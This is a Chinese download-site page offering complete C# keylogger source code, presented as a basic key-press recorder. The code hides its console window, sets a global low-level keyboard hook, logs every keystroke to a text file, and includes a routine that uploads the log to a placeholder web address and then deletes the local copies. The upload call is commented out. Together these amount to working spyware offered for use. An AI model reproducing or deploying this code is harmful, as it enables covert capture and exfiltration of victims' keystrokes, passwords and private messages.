找传奇、传世资源到传世资源站!

C# 键盘记录源码(记录按键)

8.5玩家评分(1人评分)
下载后可评
介绍 评论 失效链接反馈

C# 程序代码 基础,记录按键按下,并以TXT文件储存

using System;using System.Windows.Forms;using System.Windows;using System.Text;using System.Linq;using System.Diagnostics;using System.Runtime.InteropServices;using System.IO;using Microsoft.Win32;using System.Net;using System.Threading;using System.Reflection;namespace ConsoleApplication1{ class Program { readonly public static string logPath = "E:\\log.txt"; private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); #region private const int WH_KEYBOARD_LL = 13; private const int WM_KEYDOWN = 0x0100; private static LowLevelKeyboardProc _proc = HookCallback; private static IntPtr _hookID = IntPtr.Zero; private const int SW_HIDE = 0; #endregion public static void Main() { var handle = GetConsoleWindow(); ShowWindow(handle, SW_HIDE); _hookID = SetHook(_proc); Application.Run(); UnhookWindowsHookEx(_hookID); } private static IntPtr SetHook(LowLevelKeyboardProc proc) { using (Process curProcess = Process.GetCurrentProcess()) using (ProcessModule curModule = curProcess.MainModule) { return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0); } } private static IntPtr HookCallback( int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) { int vkCode = Marshal.ReadInt32(lParam); Console.WriteLine((Keys)vkCode); StreamWriter sw = new StreamWriter(logPath, true); sw.WriteLine((Keys)vkCode); sw.Close(); } Process[] proc = Process.GetProcessesByName("chrome"); if (proc.Length == 0) { //UploadLog(); Environment.Exit(0); } return CallNextHookEx(_hookID, nCode, wParam, lParam); } private static void UploadLog() { Random random = new Random(); int rnd = random.Next(); string target = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) "\\" rnd ".txt"; if (File.Exists(logPath)) { File.Copy(logPath, target); try { System.Net.WebClient Client = new System.Net.WebClient(); Client.Headers.Add("Content-Type", "binary/octet-stream"); Client.UploadFile("http://yourdomainname.com/upload.php", "POST", target); File.Delete(logPath); File.Delete(target); } catch { File.Delete(logPath); File.Delete(target); } } } #region [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId); [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool UnhookWindowsHookEx(IntPtr hhk); [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport("kernel32.dll")] static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); #endregion }}

评论

发表评论必须先登陆, 您可以 登陆 或者 注册新账号 !


在线咨询: 问题反馈
客服QQ:174666394

有问题请留言,看到后及时答复